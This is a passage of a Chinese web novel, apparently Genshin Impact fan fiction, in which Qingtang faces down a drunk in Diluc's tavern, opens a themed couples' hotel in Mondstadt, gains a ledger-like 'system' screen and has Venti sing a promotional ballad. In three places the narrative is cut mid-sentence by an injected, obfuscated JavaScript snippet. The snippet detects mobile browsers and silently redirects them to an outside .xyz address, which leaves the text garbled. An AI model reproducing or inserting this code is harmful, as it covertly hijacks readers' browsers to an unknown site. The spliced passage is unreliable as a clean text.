跑堂的巴顿端着托盘在楼梯间穿梭，好似游鱼般灵活。 “老爹说得对，外面太危险了。再喝一杯我就回家……”一个醉醺醺的大汉歪倒在椅背上，挣扎着去抓桌上的酒瓶，嘴里喃喃自语。 坐在对面的人见到他这副不争气的模样，喝得通红的眼睛斜睨过来，不满地“嘁”了声。 “蒙德城里几时有过魔物入侵？而且你没听说吗，这次领头的是凯亚队长，以他的实力，什么魔物巢穴不能荡平？” 他嗓门大，即使环境嘈杂，那声轻蔑的嗤笑也格外刺耳。 先前说话的人登时涨红了脸，不服气道：“我当然不是质疑凯亚队长，只是……之前那只漂浮的狗像幽灵似的，我从来没有在蒙德见过。它咬伤了好多人，我有个朋友伤口被西风教会治好之后，现在晚上还会做噩梦……” 说着，他似乎是想起了朋友惊恐发作时的状态，酒瓶刚抵到唇边，又被他放了下来，双手握拳，喃喃道：“愿风神保佑骑兵小队。” “怕什么？”另一个人却浑然不担心出征的骑士，拍着酒桌大笑，震得酒碗叮当作响，“就算天塌地陷，今晚也要再来一杯！” 关于魔物，关于凯亚，关于骑兵小队，类似的话题在每张酒桌间被热烈地讨论着。 青棠越过这些高谈阔论的酒鬼，在吧台边找了个安静的位置坐下，忽然诧异地“咦”了声：“今天迪卢克老爷亲自营业？” 正在摇酒的人动作没停，冷淡的眼神撇了过来：“佳酿节期间查尔斯连续加了六天班，他回家休息，酒保的工作自然由我代劳。” 他的话说得冠冕堂皇，但青棠就坐在角落里，从她的角度看过去，一眼就能瞥见酒柜旁立着的狼末大剑，颇有些枕戈待旦的意味。 想想也是，明眼人都看得出深渊教团来势汹汹。 因为父亲的原因，迪卢克对那些魔物更是深恶痛绝，想借着酒保身份的掩护留在蒙德城里守夜，也是合情合理的。 不过知道他是暗夜英雄的人寥寥无几，青棠思忖着自己这个战五渣似乎帮不上什么忙，便没有拆穿他，只是拿起了酒水单。 刚扫过两行，一只大手突然伸过来，抽走了她手里的单子。 她抬起头，就见到迪卢克木着脸，仿佛最严厉的医生般说道：“你伤势初愈，不能喝酒。” 说完，一杯苹果汁被推到她手边，甚至——还是常温的。 青棠瞪着眼睛与他对峙，但对方眼睑半垂，居高临下地看着她，丝毫没有要让步的意思。 半晌，她无奈地揉了揉酸涩的眼睛，叹气道：“好吧。” 至少蒙德的苹果汁也是其他地方喝不到的风味。 禁酒令被病人乖乖接受，迪卢克面色稍霁，一边擦拭摇酒壶一边说道：“不必露出失望的表情，这杯苹果汁不收钱，而且今晚允许你无限续杯。” 说起钱，青棠倒是想起来了此行的目的。 她朝着迪卢克勾勾手指，压低声音问道：“上次给你的那批货怎么样了？那些贵族有反馈吗？” 喧闹的酒馆角落，暗线接头的语气，不可告人的交易，这场面看起来简直就像谍战片。 而迪卢克的眼神也很耐人寻味，与他对视的一瞬间，青棠就觉得心里一沉，天台在向她招手。 好在下一秒，迪卢克就扯了扯嘴角——按照他的标准，应该是笑了一下：“你的玩具远比我想象得受欢迎，甚至超过了佳酿节期间蒲公英酒的销量。” “太好了！”青棠顿时松了口气，这颗定心丸来得太及时了。 就算她真的在蒙德开店失败了，至少还能尝试说服迪卢克做中间商，专门做贵族的生意。 大不了就把他的提成给高点，虽然上流社会的市场小，但多少也对凝光有个交代。 要想提高那些贵族的用户粘性，光靠普通的玩具肯定是行不通的。等到这阵新鲜感过去了，就得想办法做高端私人定制了，也不知道提瓦特的技术水平允不允许她搞新花样…… 青棠正琢磨着未来的发展道路，酒馆的大门忽然被推开，两个男人裹着冷风走了进来。 左边的男人头发蓬乱，满脸胡茬，眼珠却亮得骇人，仿佛烧红的炭。他边走边嚷嚷着：“憋死小爷了，总算从西风教堂出来了，今晚我们不醉不休！” 右边那人的语气带着浓浓的羡慕：“你也是因祸得福啊！不是谁都能在发高烧的时候，请来芭芭拉小姐为他唱歌。” 青棠觉得这声音有些耳熟，便侧眸打量起了说话人的面容。 还没给这张平平无奇的脸对上号，就听到前面那位胡茬哥说：“艾伯特，你喝什么？” 啊，原来是他。 芭芭拉的头号粉丝，让教堂的执勤修女深感头疼的私生饭。 酒馆里坐满了人，艾伯特和胡茬哥晃了一圈，没找到空余的酒桌，只好回到吧台落座，与青棠隔着几个座位的距离。 艾伯特的心思显然不在于喝酒，他在酒水单上随便点了两下，就迫不及待地追问胡茬哥在教堂和芭芭拉相处的经历。 青棠看着迪卢克熟练地调酒，大呼不公平：“那人也是伤员，你怎么不劝他别喝酒？” 迪卢克头也不抬地说：“对于无可救药的酒鬼，最好的劝酒方法就是让他喝到呕吐。” 青棠：“……” 竟不知该如何反驳。 她咬着吸管，听到旁边被标记为“没救”的酒鬼还在讨论芭芭拉。 芭芭拉甜美的长相、芭芭拉温柔的性格、芭芭拉治愈人心的歌声……整个就是大写的脑残粉。 青棠感慨道：“迪卢克老爷，你真该请芭芭拉来驻场表演啊，肯定能吸引很多人吧。” 这话一出，迪卢克摇酒的手一顿，眉头紧接着皱了起来。 青棠还是第一次在他脸上见到如此强烈的情绪，那种深深的厌恶感瞬间吊起了她的好奇心，让她忍不住追问道：“怎么了？” 迪卢克把澄蓝的酒液倒进酒杯，“事实上，我也邀请过那位修女。她的表演非常成功，只是客人的注意力并不在他们喝的酒。” 略带冷感的嗓音说出“表演成功”这种话，十分没有可信度。 青棠歪着脑袋，试图理解他的意思：“你是说她喧宾夺主了？” “不。”迪卢克摇头道，“客人的注意力也并不在她的歌声。” 青棠：“？” 这回答让她更迷糊了，正欲追问，旁边突然传来打着嗝的大笑：“其实我是故意的！” 迪卢克的“劝酒”战术很成功，仅仅两杯烈性酒下肚，胡茬哥就满脸酡红，醉得飘飘然了。 这猝不及防的一嗓子，吸引了周围一圈人的目光，酒馆里顿时形成了一个小小的静默区。 “刚开始分派给我的修女又老又丑，脾气还大得很。我就装疯卖傻跟她说我在发热，她来试体温我就咬她。闹得她心理崩溃了，芭芭拉果然就来了。” “她站在床边低头看我，一边用治愈术一边唱歌，落在我脸上的头发全是塞西莉亚花的味道，肯定是刚做完祷告吧，嘿嘿……” 青棠顿住了，胡茬哥猥琐的笑容让她觉得，酸酸甜甜的苹果汁忽然变得难以下咽。 酒馆里的静默区迅速扩张，其他桌的客人纷纷扭过头，注视着发酒疯的醉鬼，表情各异。 而迪卢克面沉如水，摇酒壶与桌面相撞，发出“砰”的声音。 胡茬哥却毫无所觉，仍在得意洋洋地炫耀自己是如何哄骗芭芭拉，侵占本就紧张的医疗资源的。 刹那间，青棠懂了迪卢克为什么不愿意再请芭芭拉过来唱歌。 那些不怀好意的目光，赤裸裸地落在天真单纯的少女身上，光是想想就让人拳头梆硬。 也是在这一刻，青棠忽然觉得凝光以“卖药的”身份介绍她也不无道理，她真的觉得自己肩负了那么一点医生的职责。 因为这世上有种顽疾，名叫小头控制大头。 “啊啊啊啊——”那边艾伯特还在懊悔，“为什么受伤的不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15557867|169314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是我！我愿意为芭芭拉小姐付出生命！” 神明呐。青棠心想，卑劣之人可以肆意发散内心的恶意，相爱的人却只能将心事守口如瓶，这是你想要的自由吗？ 她看了一眼迪卢克，然后跳下高脚凳，以迅雷不及掩耳之势抄起玻璃酒杯，在所有人默默看戏的时候，猛地一甩手腕。 刚调好的酒液飞溅而出，尽数洒向胡茬哥的额头和眼眶，辛辣的刺激让他尖叫出声，生理性泪水瞬间混着酒液流了下来。 泪流满面之际，他反应倒是极快，抄起手边的杯子砸向青棠的脑袋：“你这个——” 后半句辱骂还没说出口，陡然变成了凄厉的惨叫。 眼前突然闪过一道银光，晃得青棠闭了下眼睛，再睁开时就见到吧台赫然插着一把铮亮的长枪。 长枪下镇压着一只猪蹄。 整个手掌被利刃贯穿，血肉模糊。玻璃杯四分五裂，冰块咕噜滚下吧台，深蓝的酒液与渗出指尖的血液混合成诡异的颜色。 画面过于血淋淋，青棠移开了视线，但还是听见木质吧台发出了不堪重负的吱呀声。 “罗莎莉亚。“迪卢克面无表情地说，“这笔损失记在你的账上。” 被点名的修女朝着他摆了摆手，荆棘王冠泛着幽冷的光。 她没有理会胡茬哥杀猪般的嚎叫，也不在意周围呆若木鸡的看客，从袖间甩出匕首，血色的眼瞳沉沉地压下去，逼视着艾伯特。 “因为这次袭击，骑士团受伤数十人，教会修女集体加班两周。而你……很遗憾没有被魔物撕碎？我现在就可以完成你的愿望。” “罗、罗莎莉亚，有话好说……”艾伯特瑟瑟发抖，牙齿不停地打颤，就像老鼠啃木屑似的咯吱咯吱。 罗莎莉亚对他的求饶置若罔闻，冰凉的匕首在他的侧脸游走，只要稍稍偏移角度，锋利的刀刃就会瞬间割掉他的耳朵。 “我会把你带到达达乌帕谷，那里是魔物的大本营，丘丘人把猎物扔进巨大的铁锅里……想知道你的肉是什么味道吗？就算是芭芭拉，也救不回只剩骨头的人。” “不、不……”艾伯特抖得更厉害了，他惊恐地看着罗莎莉亚，仿佛对方不是侍奉神明的修女，而是来自地狱的恶魔。 忽然，艾伯特身体一僵，眼神发虚地往下瞟了一眼，脸色顿时红了一片——他竟然被吓尿了。 酒馆里的客人哄堂大笑。 罗莎莉亚嫌弃地“啧”了声，一把抽出自己的枪：“滚吧。” 艾伯特如蒙大赦，连忙夹紧腿，扶起因失血过多而昏迷过去的胡茬哥，连滚带爬地逃跑了。 酒馆里充满了快活的气息。 “给我来一杯蒲公英酒。”罗莎莉亚倚靠在吧台边，本就深受重创的木质层又裂开几分。 迪卢克往后退了两步，防止坍塌的木屑溅到自己身上，同时用陈述的语气说：“现在你不仅要赔偿损失，还要打扫卫生。” “嘁，知道了。”罗莎莉亚不耐烦地说道，“既然你也想教训那两个家伙，就别这么啰嗦。” 说完，她余光瞥见青棠还傻愣地站在原地，难得露出了几分戏谑的笑意：“吓傻了？” 青棠摇了摇头。 “我还以为你是那种只会油嘴滑舌的商人，没想到关键时刻倒是有点勇气——要来一杯蒲公英酒吗？”罗莎莉亚瞟了一眼被她捏在手里的酒杯，“还有这一杯浪费掉的，都算我请你。” “罗莎莉亚。”迪卢克警告道，“如果你不想让她再进教堂的话，最好放弃这个无聊的想法。” 罗莎莉亚：“呵，没有蒲公英酒的夜晚才是最无聊的。” 两人你来我往地互呛了几句，青棠却始终没有参与。 她就像入定了似的，愣愣地看着酒柜里的基底酒。 各色酒瓶在灯光下闪烁着迷离的光泽，盯得久了意识就仿佛被拖进了光怪陆离的漩涡。 灵感宛如泡沫在漩涡里翻滚，一颗一颗聚成了珍珠般的串。 被心术不正的人骑脸挑衅，直接逆向激活了青棠纯爱战士的基因。 她决定了，她要为小情侣们打造无与伦比的乐园。 ——她的第二家合欢馆，又何必是玩具店？ 26.第 26 章 青棠想开情侣酒店。 听完她的想法后，迪卢克默然片刻，指出最关键的问题：“蒙德最繁华的街道都有酒店入驻。” 青棠当然考虑过这个问题。 蒙德城建在平坦的湖心岛之上，但城内的街道却有意修出了高低差，位于高坡的街区视野更优越，几乎都被老牌酒店占领了。 比如她现在住的歌德大酒店，最豪华的房间正对着教堂广场，推开窗就能看见身披金辉的风神像，洁白的鸽子被前来祷告的人群惊起，伴随赞歌划出优美弧线。 因此，每逢外地的有钱人来到蒙德出差或是旅游，必定会优先选择歌德大酒店。 不过青棠的思路很清晰，她不做普通的住宿赛道，而是要为小情侣打造刺激的主题乐园。 既然青棠将自己的酒店划分到了娱乐业，自然要和同为消遣地的酒馆强强联合啦。 恰好天使的馈赠旁边，就有一家空置的铺面，从占地面积来看，改造成酒店绰绰有余。 青棠问道：“迪卢克老爷认识旁边那家店的房东吗？” 这次迪卢克沉默更久。 就在青棠面露疑惑的时候，他终于点头道：“是我。” “啊。”青棠双手撑住吧台，身体前倾，仰起脑袋，眼巴巴地看着他：“租金给我打个折嘛！” 见她是认真的，迪卢克都有些无语了：“此处靠近蒙德城侧门，平日里很是冷清，连守门的盖伊都觉得他的工作毫无意义。” 这个城门唯二的作用大概就是方便钓鱼佬抄近路去果酒湖畔钓鱼，以及方便魔物在深夜入侵，然后被他当场逮捕。 “唉。”青棠深深地叹了口气，“我如此天才的商业眼光，难道得不到迪卢克老爷的理解吗？” 她只好详细介绍了情侣酒店的经营思路，担心迪卢克是保守派，她边观察对方的表情边问道：“需不需要我做个PPT？” 迪卢克这才放开擦拭器皿的绒布，微拧眉心，托着下巴，认真地思忖了片刻：“如果是这样，或许我们可以合作。” “好嘛。”青棠挑眉，“我只想要你的租金，你却想要我的股份？” “你误会了，我并不在意那些摩拉。”迪卢克勾过高脚凳坐下，手指轻敲吧台，作出了谈判的架势，“我知道你背后是璃月的天权星，我想与她做个交易。” 他和盘托出自己的要求，青棠听得连连咋舌，眉毛越挑越高：“狮子大开口啊你？！” 她居然还低估了迪卢克的野心，对方连合欢馆的股份都看不上，真正想要的是璃月的进口政策。 想到自己回家的条件是和这些商界人精竞争提瓦特首富，青棠都有些汗流浃背了。 但无论如何，找到合作伙伴总比单打独斗赚得多。 “你知道的吧？关税政策不是我能决定的。”青棠正色道，“就算是天权星，也不可能直接拍板。璃月七星怎么也得开几次会，才能在这种大事上做调整。” 对于她的回答，迪卢克一点也不意外：“我并不急于一时，我提出的条件想必璃月七星也不会全盘接受。但只要那位天权星出现松动，其他人就能慢慢接触。这期间你可以随意使用旁边的商铺。” 放长线钓大鱼。 青棠暗叹迪卢克真是厉害，一边接下蒙德贵族那边的玩具代理，一边借此机会得到和璃月七星交涉的入场券，一箭双雕。 不过说到底，这些都是大人物之间的博弈。就像迪卢克所说，即使凝光会考虑他的提议，底线也是不损害璃月人民的利益。 双方肯定会找到共赢的那个支点，而无论交涉结果如何，青棠在这中间就是纯赚。 “我答应你，我回去就给凝光写信。”青棠没有犹豫，“今天太晚了，明天我再来看商铺。” 迪卢克微微颔首，嘱咐道：“路上注意安全。” …… 回到旅馆时已是深夜，一片黑洞洞的窗口下，只有大堂还亮着暖黄的灯光，等待晚归的客人。 青棠找前台要了纸笔和墨水，然后坐到休息区开始写信。 她先是汇报了自己的工作进展，包括情侣酒店的大致规划。 接着转述了迪卢克的请求。 最后告诉凝光，后续接手分店的店长现在可以过来了。 写完信，她交还笔墨，带着封好的信封回到自己的房间，一进门就向后仰倒在床上。 一晚上的闹剧让她身心俱疲，精神状态却兴奋得很。 开情侣酒店，就意味着她又可以研究新设计了，这次不是服装设计，而是室内设计。 不XXOO就出不去的房间，这可是同人圈的经典题材呢！ 一时间，青棠的脑海里浮现出形形色色的样板间。 是做成新颖的现代风格呢？还是尽量贴合提瓦特人民的审美，做成七国主题呢？ 是做成私密的安全屋呢？还是把追求刺激贯彻到底呢？ 无数方案碰撞、爆发、重新组合成新的灵感，青棠把半张脸埋进被窝，在宇宙大爆炸似的思绪之间，迷迷糊糊地睡了过去。 因为熬得太晚，这一觉直接睡到了日上三竿。 起床后，青棠先去了猎鹿人餐厅，悠闲地吃了午饭。然后晃荡去邮局，将信封交给前往璃月的邮差。最后见时间差不多了，才溜达到了天使的馈赠。 下午三点，酒馆门口的大酒桶上还摆着“尚未营业”的木牌，但木门却打开了一条小缝。 青棠推门进去，就见到迪卢克站在吧台后，结实的小臂青筋突显，正抱着桶装的落落莓。 见她进门，迪卢克点了点头，算是打了个招呼。 然后就放下手里的活，擦干净手，从口袋里摸出钥匙，关好店门，带她去了旁边的商铺。 这是一栋三层的小楼，红瓦白墙，外立面有些自然生长的爬山虎和慕风蘑菇，衬着午后明媚的日光，色彩鲜艳，煞是好看。 “这里原本有十二个房间。”迪卢克把钥匙插进锁孔，“如果用来做酒店，我建议再隔出两间。” “No No No。”青棠戴好口罩，跟在他身后进门，“物以稀为贵，我要做高端酒店。” 不仅不扩增房间，她还准备把两间房打通成一间，做成内外双景的豪华套间。 这铺面许久没人打扫卫生，地板开裂，墙角蛛网丛生，空气中漂浮着经年累月积攒的灰尘。 青棠行走在灰蒙蒙的尘雾里，眼神却是越来越明亮。 这房间格局活脱脱就是从她梦里抠出来的，昨晚的构想恰在此时完美地对上了号！ 她的手指在身前点过一圈：“这里拆掉做前台。另外的三间房，一间员工宿舍，一间堆杂货，靠近后门的就是洗衣房。” 说完，她沿着楼梯上楼。 二楼的布局也是类似的四间房，青棠依次在房门前走过，边走边说：“这间放水床和笼子做成海洋主题，提供人鱼Cosplay。这间做成360度全屋镜……” “？”迪卢克瞳孔地震，怀疑自己的理解能力出了问题。 还没听清另外两间房的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15574113|169314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安排，就见青棠再上三楼，笑眯眯地说道：“至于顶层嘛，我要全部打通，做人造露天温泉。” 迪卢克的神情出现了波动，他消化了好几分钟，才尽量冷静地评价道：“方案成本过高。” “但是体验感也很好啊。”青棠说，“这就要看我的炒作水平了——说起这个，借迪卢克老爷的名头做点宣传，你不介意吧？” 这家店就开在天使的馈赠旁边，迪卢克以为她想拉拢平日来喝酒的客人，于是没多想就答应了。 蒙德的房屋交易流程很简单，不需要费心寻找见证人。 签完书面租赁协议后，迪卢克就把钥匙交给了青棠，说明以后她就是这间商铺的主人了。 这时距离下班还有段时间，青棠锁好新店大门，又匆匆去找迪卢克推荐的施工队。 这栋楼的土木结构不需要做大的改动，软装设计又由青棠亲自操刀，这就大大缩短了预计的工期。 施工队承诺二十天内完工，届时就可以拎包入住。 之后的日子，青棠过上了三点一线的生活，白天去店里盯着施工现场，晚上回旅馆调整室内设计图，偶尔还要抽空跑一趟建材市场，整个人忙得不可开交。 既然酒店要做成高端品牌，装修材料就半点也不能马虎。 你很难想象小情侣们会在什么地方干柴烈火，只能尽可能地准备周全。所以，洗手台要用最结实的石料，沙发要用最柔软的内芯，落地窗要用单向玻璃。 力求每个细节都做到完美。 完工的那天，青棠指挥施工队把合欢馆的粉色招牌挂上门头，这蒙德分店便算是落成了。 傍晚时分，霞光铺满这条宽阔的街道，三三两两的酒客已经聚到了天使的馈赠门口，瞧见旁边敲敲打打多日的施工队在收拾工具包，纷纷好奇地围了过来。 “合欢馆？是新酒馆吗？” “啊。这个味道是璃月的香膏，我之前在美酒集市闻到过。” “老板，卖香膏吗？” “是情侣酒店噢。”青棠摊开手，表示自己并不单独售卖香膏，“欢迎约男女朋友来玩。” 闻言，不少人露出失望的表情，摇着头转身回到酒馆。 稍有兴趣的人凑过来瞧了眼价格表，然后也耸耸肩走了。 青棠笑了笑，对于这个场面早有预料，并不觉得沮丧。 忙活了这么久，今晚总算可以好好休息了。她要回旅馆洗个热水澡，再草拟出明天的宣传方案。 青棠回到店里，来到前台，准备收拾摊在桌上的设计稿。 就在手指接触到桌面的瞬间，一片幽蓝波纹突然像涟漪似的，以她的指尖为中心漾开。 青棠吓了一跳，迅速往后退了一步，手指紧跟着移开。 却见那抹蓝光越来越深，范围越来越大，不出五秒钟就覆盖了整张长桌，变成了规整的矩形。 青棠皱起眉头，觉得这蓝色光屏似曾相识…… 下一秒，整张光屏毫无预兆地闪烁了一下，就像是什么人面朝着她的方向眨了眨眼睛。 光屏正上方，一个黑色的大字突兀地出现，同时虚空中响起键盘被敲击的声音。 哒哒哒哒哒。 一个又一个黑字随之浮现—— [提瓦特志愿者辅助系统] 青棠怔愣地盯着那行字，从视网膜到神经每个细胞都在震颤。 半分钟后，她激动地跳了起来，喉咙里爆发出狂喜的欢呼—— 我就说我怎么会没有金手指！ 27.第 27 章 青棠满心期盼，向前倾身，不自觉地放轻呼吸，目光凝视着光屏上逐渐展开的奇异图景。 两分钟后，规律的键盘声消失。紧接着，似乎是为了照顾她的眼睛，整块光屏的颜色发生了细微的变化，半透明的湛蓝色凝实，即使在台灯下也看得清晰。 位于最上方的仍然是[提瓦特志愿者辅助系统]这几个字。 下方则出现了一个百分比的进度条，此时显示的数字是3.1%，标题言简意赅——[任务目标]。 打从摩拉克斯退位以后，全提瓦特唯一的铸币厂黄金屋就停止了运转。时至今日，璃月七星还没有研究出全新的通用货币。 换句话说，现在整个提瓦特的摩拉数量是固定的。 青棠猜想，系统大约是用了实时算法，计算出了她完成任务需要的摩拉，方才有了这个进度条。 视线再往下，处于整面光屏正中心的，则是一张青棠烂熟于心的提瓦特大陆地图。 和玩原神的时候一样，此时这张地图只有蒙德和璃月被点亮，国界线闪着微弱的光芒，而其他区域全都被迷雾笼罩。 乍看之下，有点像高德地图“点亮城市”的足迹打卡。 “UI设计师偷懒了啊。” 青棠好笑道，然后伸出手指，轻轻点了点璃月区域。 指尖触碰到光屏的瞬间，蓝色波纹扩散，地图倏地拉近，璃月港被放大，陡然占据整个屏幕。 一个铭牌似的界面跳出来。 合欢馆 店长：青棠 代理人：闲云 今日营业额：92741摩拉 …… “嚯，这都赶得上我以前每天苦哈哈锄大地的收益了哇！” 青棠兴奋地往下滑，面板上随即出现更多条目，详细列出了合欢馆的支出和收入，简直就像是经营类游戏的操作面板。 她点击空白处，退回提瓦特全景，再点开蒙德地区，果然显示出了这家情侣酒店的信息。 合欢馆蒙德分店 全权责任人：青棠 店长代理人：百闻 今日营业额：0摩拉 …… 一模一样的面板，数据详尽，连百闻的信息都录入了。 说起百闻，她前日就到了，但青棠直到现在还觉得很惊讶。 这位是凝光的心腹，曾经在群玉阁负责情报收集与整理工作，没想到凝光舍得派她过来看店。 对方的性格倒是八方玲珑，只是面对青棠的疑问，她总是微笑着回复：“这是凝光大人重视这个项目的表现，也是对我的历练。” 青棠觉得这应该不是全部的真相，有次聊天的时候无意跟迪卢克提起，迪卢克说：“看来那位天权星与我的想法一致，鱼龙混杂的地方是最适合收集情报的。” 青棠恍然大悟，原来她的店还是璃月驻蒙德情报站呢。 有种地下党的刺激！ 探索完璃月和蒙德，青棠又尝试着戳了戳其他区域。 然而这次系统就像是宕机了，无论她怎么戳，用什么手势，都没有新的面板跳出来。 搞什么，网络卡顿了？ 还是说这么大一个光屏，就只做出这么一个半成品地图？ 那可是一次性的海岛活动地图都要更新10G，恨不得处处塞满彩蛋的米忽悠啊！这种半吊子工程不像那群技术宅的风格啊！ 青棠满腹狐疑，还以为是系统卡住了，于是挥手把光屏收起来，然后重新展开。 蓝色光点再度汇聚，重启速度的确快了很多，但展开后的屏幕依然是之前的模样。 青棠指尖抵住屏幕，将大地图上下左右拖来拖去，突然注意到光屏两侧还有两块空白区域，并且各自有个锁的形状。 这个三段式的布局莫名让她觉得有些眼熟，但一时半刻也没想起在哪里见过。她伸出手指，戳了一下右边那个锁的图案。 机械音凭空响起：“这部分区域，以后再来探索吧。” 就这？？？ 青棠吐血了，气血上涌的瞬间，她想起来这个界面是什么了——这不就是直播软件吗？！ 中间的大地图是直播画面，两边尚未解锁的功能是弹幕和礼物。 原神设计师你辞职吧！ 人家都是升级流主角，怎么到她这里，就变成升级流系统了？！ 没有毁天灭地的金手指不说，随着她反复关闭和展开光屏的动作，[任务目标]的进度条眼看着从3.1%降到了2.9%。 这目标还会倒退的！ 青棠两眼发黑，真想顺着网线给设计系统的人两巴掌。 垃圾游戏，毁我青春！ …… 翌日清晨，青棠在旅馆里醒来，召唤出系统界面戳戳点点，再次确认了这就是个随身账本，没有任何额外的功能。 而且一夜过去，[任务目标]的进度条又掉了0.1%。 她叹了口气，梦回以前在某福特发温迪公公同人图，一觉睡醒掉了500粉丝的日子。 太没品了，温迪就是很A啊！ 青棠决定不再数据焦虑了，她将光屏挥散，起床洗漱，然后直接去了猎鹿人餐厅。 她约了人。 这个时间，猎鹿人餐厅的客人不多，莎拉老板很快就端上了她点的烤松饼和苹果酿。 苹果酿装在透明的玻璃瓶里，青棠打开瓶塞，闭着眼睛感受风向的流动，随后将手掌放在上风口，轻轻地挥了挥。 叮铃铃—— 太阳伞下的风铃倏然响了起来，一阵突如其来的清风吹起青棠的鬓发，蹭得下巴痒痒的。 她睁开眼睛，果然见到对面原本空闲的座位上，多了个单手托腮的吟游诗人，脸上宿醉的红晕还没褪尽，眼角因为困倦染着点点湿意，嗓音低哑：“哎呀呀，我好像听到了信徒的呼唤呢。” ……不是，怎么从质疑嬷嬷到开始理解嬷嬷了呢？ 而且你确定你是听到的，不是闻到的吗？ 青棠收起大获成功的巴巴托斯捕捞器，把新鲜的苹果酿推到他面前：“嗯嗯嗯，快喝吧。” 她热情得异常，温迪立刻警觉起来：“这酒里不会有毒药吧？” “有没有你喝一口不就知道了？”青棠眉梢一挑，“友情提醒，过了这村没这店噢。” “欸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15588151|169314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”温迪迅速从她收回的手里抢过酒瓶，眯起眼睛啜了小口，“说吧，找我有什么事？” “你今天有表演是吧？”青棠嘴角挂着笑意，从口袋掏出两张纸，“要不就唱这个吧。” 温迪接过字条，快速扫视过那上头——姑且算是诗歌——的句子，神情古怪：“这是个爱情故事？” “是啊。”青棠满眼期待地看着他，“是不是感人肺腑？” 吟游诗人演唱的诗歌题材非常广泛，不拘泥于歌颂风神，爱情诗自然也是有的，只是…… 温迪：“我怎么感觉这个故事的主角，像是迪卢克老爷呢？” “噢，原来你知道他和凯亚的事啊。“青棠眼中光彩奕奕，“你看看我写的词，伪骨科、豪门虐恋、恨海情天、破镜重圆……热门元素拉满了，包火的啊！” 温迪露出无辜的表情，眼神仿佛在说——哥们写点能播的吧。 “要是迪卢克老爷知道了，我这样编排他，以后天使的馈赠就要对我永久关闭了吧。” “你别怕啊。”见他拒绝的态度并不强硬，青棠立刻换上糖衣炮弹，“以后你的酒我包了！” 温迪喝完最后一口酒，唇角一勾：“那么成交。” …… 教堂广场。 吟游诗人双眸微阖，拨动琴弦的姿势像在抚摸情人的脊背。 当第一个音符撞上风神像的衣摆，周围的行人纷纷停下脚步。 “传说，恶龙的巢穴边，有一个火山覆盖的王国。那位国王出巡时，捡到一只刚破壳的小龙，从此时时刻刻将它带在身边。” “有一天，国王决定讨伐恶龙的巢穴，可那是小龙唯一的家园，于是他们分道扬镳。” “……” “多年后，火山的国度长出了新生的绿芽，废墟里流出了汩汩的温泉，国王终于等到小龙回到他的身边，他们沐浴着温泉水……” 婉转低回的嗓音诉说着纯属虚构的童话故事，里面却埋藏着暗恋的人最真实的心思。 一曲罢，全场静默。 半晌，一个十四五岁的少女微红眼眶，鼓起了掌。 “太感人了，国王和小龙之间超越了亲情，也超越了爱情！” 听到这清脆的掌声，其他观众也反应过来，不管有没有被感动到，总之跟着鼓掌就对了。 一时间掌声雷动，吸引了越来越多的路人驻足。 国王和小龙和见证爱情的温泉，经过添油加醋后口口相传。 “相爱的人却不得不分离，这真是世界上最残酷的事情。” “呜呜我再也不说那些放弃联姻跟平民结婚的家伙是笨蛋了，所有相爱的人都应该被祝福！” “哪里可以体验这样的温泉？” 温迪：“……” 这人云亦云的策略还真行？ 与此同时，合欢馆门前响起重物砸地的声音，一块镶着花边的木板被竖在酒店大门旁边。 唰拉—— 青棠猛地揭开衬布，露出木板上硕大的艺术字。 惊爆特价！ 本店豪华温泉景观房仅售99999/晚，连订三晚享八折优惠！